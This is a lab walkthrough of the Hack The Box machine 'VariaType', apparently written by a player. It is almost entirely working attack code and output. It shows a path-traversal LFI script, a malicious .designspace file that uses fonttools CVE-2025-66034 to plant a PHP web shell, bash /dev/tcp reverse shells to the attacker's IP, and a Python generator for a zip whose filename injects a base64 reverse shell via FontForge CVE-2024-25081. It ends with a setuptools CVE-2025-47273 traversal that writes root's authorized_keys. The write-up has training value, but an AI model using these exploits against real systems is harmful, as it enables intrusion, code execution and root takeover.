Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ nmap -sC -sV -Pn 10.129.189.98 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-16 17:05 +0000
Nmap scan report for 10.129.189.98
Host is up (0.55s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.21 seconds
Let's add variatype.htbto our /etc/hosts
HTTP - TCP 80

From the index page, we can find the path to generate font
Now we can try to upload file and check the upload path
From /service, we can find something about its working process
The workflow explicitly mentions fonttools, fontmake, and gftools, indicating that the application is actually handling attacker-controlled font data, not just storing uploaded files.
Let's continue to enumerate the sub domains
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ ffuf -u http://variatype.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.variatype.htb" -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://variatype.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.variatype.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 382ms]
portal.variatype.htbwill be next target.
I don't have any valid credit here, let's continue to enumerate the web contents of that.
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ ffuf -u http://portal.variatype.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://portal.variatype.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 551ms]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 548ms]
auth.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 551ms]
view.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 550ms]
. [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 375ms]
styles.css [Status: 200, Size: 8789, Words: 1020, Lines: 370, Duration: 549ms]
dashboard.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 547ms]
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 520ms]
There is a git repo, we can use git-dumpto pull it to local machine.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ git-dumper http://portal.variatype.htb/ .git
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ tree -a
.
├── .git
│ ├── COMMIT_EDITMSG
│ ├── HEAD
│ ├── ORIG_HEAD
│ ├── config
│ ├── description
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── pre-push.sample
│ │ ├── pre-rebase.sample
│ │ ├── pre-receive.sample
│ │ ├── prepare-commit-msg.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │ └── heads
│ │ └── master
│ ├── objects
│ │ ├── 03
│ │ │ └── 0e929d424a937e9bd079794a7e1aaf366bcfaf
│ │ ├── 50
│ │ │ └── 30e791b764cb2a50fcb3e2279fea9737444870
│ │ ├── 61
│ │ │ └── 5e621dce970c2c1c16d2a1e26c12658e3669b3
│ │ ├── 6f
│ │ │ └── 021da6be7086f2595befaa025a83d1de99478b
│ │ ├── 75
│ │ │ └── 3b5f5957f2020480a19bf29a0ebc80267a4a3d
│ │ ├── b3
│ │ │ └── 28305f0e85c2b97a7e2a94978ae20f16db75e8
│ │ └── c6
│ │ └── ea13ef05d96cf3f35f62f87df24ade29d1d6b4
│ └── refs
│ └── heads
│ └── master
└── auth.php
17 directories, 28 files
We can only get the auth.phpfile
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ cat auth.php
<?php
session_start();
$USERS = [];
But we can still check the state of the git repo
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
modified: auth.php
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:57:57 2025 -0500
feat: initial portal implementation
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ git show HEAD
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date: Fri Dec 5 15:59:33 2025 -0500
fix: add gitbot user for automated validation pipeline
diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
<?php
session_start();
-$USERS = [];
+$USERS = [
+ 'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];
That seems like a valid credit gitbot:G1tB0t_Acc3ss_2025!
Now we can use this credit to access to the panel

I guess that we can find the upload path here.
We can try to interact with the download.php
It needs a file parameter, I will use burpsuite intruderto fuzz the valid parameter
/download.php?f=testwould be targeted.
Then let's continue to check the valid payload format
Now we can get the valid payload format
/download.php?f=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
We can also use the simple script to help us automatic it
#!/usr/bin/env python3
import sys
import requests
BASE_URL = "http://portal.variatype.htb"
USERNAME = "gitbot"
PASSWORD = "G1tB0t_Acc3ss_2025!"
TRAVERSAL = "....//" * 5
if len(sys.argv) != 2:
print(f"usage: python {sys.argv[0]} /etc/passwd")
sys.exit(1)
path = sys.argv[1].lstrip("/")
s = requests.Session()
s.post(f"{BASE_URL}/", data={"username": USERNAME, "password": PASSWORD})
r = s.get(f"{BASE_URL}/download.php", params={"f": TRAVERSAL + path})
print(r.text)
Let's verify it worked
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
We can find steveand rootwould be valid account.
Continue to enumerate the nginx configure
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/nginx/nginx.conf | grep include
include /etc/nginx/modules-enabled/*.conf;
include /etc/nginx/mime.types;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/variatype.htb;
include /etc/nginx/sites-enabled/portal.variatype.htb;
Continue to check the portal service source code
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/nginx/sites-enabled/portal.variatype.htb
server {
listen 80;
server_name portal.variatype.htb;
root /var/www/portal.variatype.htb/public;
index index.php;
access_log /var/log/nginx/portal_access.log;
error_log /var/log/nginx/portal_error.log;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
location /files/ {
autoindex off;
}
}
After checking these files
python lfi.py /var/www/portal.variatype.htb/public/download.php
python lfi.py /var/www/portal.variatype.htb/public/auth.php
python lfi.py /var/www/portal.variatype.htb/public/index.php
python lfi.py /var/www/portal.variatype.htb/public/dashboard.php
python lfi.py /var/www/portal.variatype.htb/public/view.php
I did not find anything interesting here, so I would continue to check the origin domain service
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/nginx/sites-enabled/variatype.htb
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
return 301 http://variatype.htb$request_uri;
}
server {
listen 80;
server_name variatype.htb;
access_log /var/log/nginx/variatype_access.log;
error_log /var/log/nginx/variatype_error.log;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
That seems like a flask service from the port 5000
Continue to verify it
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /etc/systemd/system/variatype.service
[Unit]
Description=VariaType
After=network.target nginx.service
[Service]
Type=simple
User=variatype
Group=www-data
WorkingDirectory=/opt/variatype
ExecStart=/usr/bin/python3 app.py
Restart=always
RestartSec=10
StandardOutput=journal
StandardError=journal
SyslogIdentifier=variatype
ReadWritePaths=/var/www/portal.variatype.htb/public/files
ReadWritePaths=/opt/variatype
[Install]
WantedBy=multi-user.target
Got the target python file /opt/variatype/app.py
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 LFI.py /opt/variatype/app.py
import os
import tempfile
import subprocess
import shutil
import secrets
from flask import Flask, render_template, request, redirect, url_for, flash, send_file
app = Flask(__name__)
app.secret_key = '7e052f614c5f9d5da3249cc4c6d9a950053aed370b8464d2e8a81d41ff0e3371'
UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(DOWNLOAD_FOLDER, exist_ok=True)
@app.route('/')
def home():
return render_template('home.html')
@app.route('/services')
def services():
return render_template('services.html')
@app.route('/tools/variable-font-generator')
def variable_font_generator():
return render_template('tools/variable_font_generator.html')
@app.route('/tools/variable-font-generator/process', methods=['POST'])
def process_variable_font():
designspace = request.files.get('designspace')
master_fonts = request.files.getlist('masters')
if not designspace or not master_fonts:
flash('Please upload a .designspace file and at least one master font (.ttf/.otf).', 'error')
return redirect(url_for('variable_font_generator'))
if not designspace.filename.endswith('.designspace'):
flash('The main file must be a valid .designspace document.', 'error')
return redirect(url_for('variable_font_generator'))
unique_id = secrets.token_urlsafe(8)
download_filename = f"variabype_{unique_id}.ttf"
download_path = os.path.join(DOWNLOAD_FOLDER, download_filename)
with tempfile.TemporaryDirectory(dir=UPLOAD_FOLDER) as workdir:
ds_path = os.path.join(workdir, 'config.designspace')
designspace.save(ds_path)
for font in master_fonts:
if font.filename.endswith(('.ttf', '.otf')):
font.save(os.path.join(workdir, font.filename))
else:
flash('Only .ttf and .otf master fonts are supported.', 'error')
return redirect(url_for('variable_font_generator'))
try:
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir,
check=True,
timeout=30
)
output_file = None
for f in os.listdir(workdir):
if f != 'config.designspace' and not f.startswith('.'):
output_file = f
break
if output_file:
shutil.copy2(os.path.join(workdir, output_file), download_path)
return render_template('tools/success.html', download_id=unique_id)
except subprocess.TimeoutExpired:
flash('Font generation timed out.', 'error')
return redirect(url_for('variable_font_generator'))
except subprocess.CalledProcessError:
flash('Font generation failed during processing.', 'error')
return redirect(url_for('variable_font_generator'))
except Exception:
flash('An unexpected error occurred.', 'error')
return redirect(url_for('variable_font_generator'))
@app.route('/download/<download_id>')
def download_file(download_id):
if not download_id.replace('_', '').replace('-', '').isalnum():
flash('Invalid download ID.', 'error')
return redirect(url_for('variable_font_generator'))
filename = f"variabype_{download_id}.ttf"
path = os.path.join(DOWNLOAD_FOLDER, filename)
if os.path.exists(path):
user_filename = f"MyVariableFont_{download_id}.ttf"
return send_file(path, as_attachment=True, download_name=user_filename)
else:
flash('File not available for download.', 'error')
return redirect(url_for('variable_font_generator'))
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
The backend will save our .designspace file as config.designspace, and then run fonttools varLib in the working directory to parse it. Therefore, the uploaded designspnotace file is not simply stored on disk; it is parsed and used to generate the output font.
We can find the vulnerable part
designspace = request.files.get('designspace')
if not designspace.filename.endswith('.designspace'):
flash('The main file must be a valid .designspace document.', 'error')
return redirect(url_for('variable_font_generator'))
ds_path = os.path.join(workdir, 'config.designspace')
designspace.save(ds_path)
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir,
check=True,
timeout=30
)
This application only checks the file extension, saves the attacker-controlled .designspace file to disk, and then directly passes it to fonttools varLib.
There is a CVE-2025-66034of fonttools varLib
https://github.com/advisories/GHSA-768j-98cg-p3fv
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Now I will exploit it step by step Reuse any valid local fonts and rename them to match the design space.
cp /usr/share/fonts/TTF/Hack-Regular.ttf source-light.ttf
cp /usr/share/fonts/TTF/Hack-Regular.ttf source-regular.ttf
Then create xpl.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php passthru($_REQUEST["x"]); ?>]]]]><![CDATA[>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/glyph-check.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Now upload it
curl -s -i -X POST \
http://variatype.htb/tools/variable-font-generator/process \
-F "designspace=@xpl.designspace" \
-F "masters=@source-light.ttf" \
-F "masters=@source-regular.ttf"
We can verify it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ python3 LFI.py /var/www/portal.variatype.htb/public/files/glyph-check.php
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ cmd="curl http://10.10.14.34"
curl -G -s "http://portal.variatype.htb/files/glyph-check.php" \
--data-urlencode "x=$cmd"
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.189.98 - - [16/Mar/2026 18:23:52] "GET / HTTP/1.1" 200 -
We can run the reverse shell
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/VariaType]
└─$ cmd="bash -c \"bash -i >& /dev/tcp/10.10.14.34/443 0>&1\""
curl -G -s "http://portal.variatype.htb/files/glyph-check.php" \
--data-urlencode "x=$cmd"
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.189.98] 48800
bash: cannot set terminal process group (3541): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public/files$ whoami
whoami
www-data
www-data@variatype:~/portal.variatype.htb/public/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Also we can upgrade the reverse shell
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Switch to steve
We can find a script file from /opt
www-data@variatype:/opt$ ls -al
total 20
drwxr-xr-x 4 root root 4096 Mar 9 08:29 .
drwxr-xr-x 18 root root 4096 Mar 9 08:29 ..
drwxr-xr-x 3 root root 4096 Mar 9 08:29 font-tools
-rwxr-xr-- 1 steve steve 2018 Feb 26 07:50 process_client_submissions.bak
drwxr-xr-x 4 variatype variatype 4096 Mar 9 08:29 variatype
www-data@variatype:/opt$ file process_client_submissions.bak
process_client_submissions.bak: Bourne-Again shell script, ASCII text executable
Also we can read the source code
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
The danger lies in the decision to upload the attacker-controlled compressed files and font files to FontForge.
timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
...
font = fontforge.open('$file')
"
This makes FontForge the next parser in the chain.
www-data@variatype:~/portal.variatype.htb/public/files$ ls -al
total 236
drwxrwsr-x 2 www-data www-data 4096 Mar 16 04:31 .
drwxrwxr-x 4 root www-data 4096 Mar 9 08:29 ..
-rw-r--r-- 1 variatype www-data 86564 Mar 16 04:31 glyph-check.php
-rw-r--r-- 1 variatype www-data 140308 Mar 16 04:31 variabype_U_bewA_8h4o.ttf
The relevant issue here is CVE-2024-25081, which affects FontForge up to 20230101 and allows command injection via carefully crafted filenames.
https://nvd.nist.gov/vuln/detail/CVE-2024-25081
Now let's exploit it
Generate exploit.zip and include valid fonts as archive members, while keeping callback parameters explicit:
#!/usr/bin/env python3
import base64
import zipfile
from pathlib import Path
# Configuration
attacker_ip = "10.10.14.34"
attacker_port = 4444
font_path = "/home/wither/Templates/htb-labs/Medium/VariaType/source-regular.ttf"
# Construct injection
command = f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"
payload = base64.b64encode(command.encode()).decode()
font_data = Path(font_path).read_bytes()
member_name = f"$(echo {payload}|base64 -d|bash).ttf"
# Compress
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(member_name, font_data)
print("[+] exploit.zip created")
After create the malicious zip file, upload it to the target file path
cd /var/www/portal.variatype.htb/public/files/
curl -O http://10.10.14.34/exploit.zip
After a while, you can get the reverse shell back
┌──(wither㉿localhost)-[~/…/htb-labs/Medium/VariaType/.git]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.189.98] 60280
bash: cannot set terminal process group (5363): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-5364-1$ id
id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
To get a more stable reverse shell, we can upgrade it
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Privilege Escalation
Firstly check the sudo -l
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
We can review this code
steve@variatype:~$ cat /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()
The dangerous part lies in this line of work:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
This script performs only superficial URL validation:
The scheme must be http or https.
A netloc must exist.
The URL cannot contain too many slashes (/).
These checks cannot limit where downloaded files are ultimately written.
The related issue is CVE-2025-47273, a path traversal vulnerability in setuptools.PackageIndex.download(), affecting versions prior to 78.1.1.
Let's exploit it
This function hosts a public key controlled by an attacker, calls install_validator.py by iterating through the URL, and allows a vulnerable PackageIndex.download() to write the key to root's SSH trust store.
To host SSH public key files, a regular static HTTP server is insufficient because PackageIndex.download() requests a complete path traversal.
/%2Froot%2F.ssh%2Fauthorized_keys
A standard python3 -m http.server command would attempt to provide this literal URL path and return a 404 error. Therefore, the server must ignore the requested path and always return the SSH public key content.
We can rewrite a simple one
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
with open("root_key.pub", "rb") as f:
data = f.read()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
HTTPServer(("0.0.0.0", 80), Handler).serve_forever()
Now let's generate the ssh key file
ssh-keygen -t ed25519 -f /tmp/root_key -N ""
Then start the server
python3 server.py
Then run the LFI service from the target machine
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://10.10.14.34:80/%2Froot%2F.ssh%2Fauthorized_keys"
2026-03-16 05:12:22,566 [INFO] Attempting to install plugin from: http://10.10.14.34:80/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-16 05:12:22,572 [INFO] Downloading http://10.10.14.34:80/%2Froot%2F.ssh%2Fauthorized_keys
2026-03-16 05:12:23,566 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.
Finally you can use the ssh key to connect to the shell as root
┌──(wither㉿localhost)-[/tmp]
└─$ ssh -i root_key root@variatype.htb
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# ls
root.txt
Description
A machine that is very focused on code review. The source of every vulnerability is a problem with the modules and code syntax used in the code itself. Each vulnerability is very clear and the exploitation path is clear.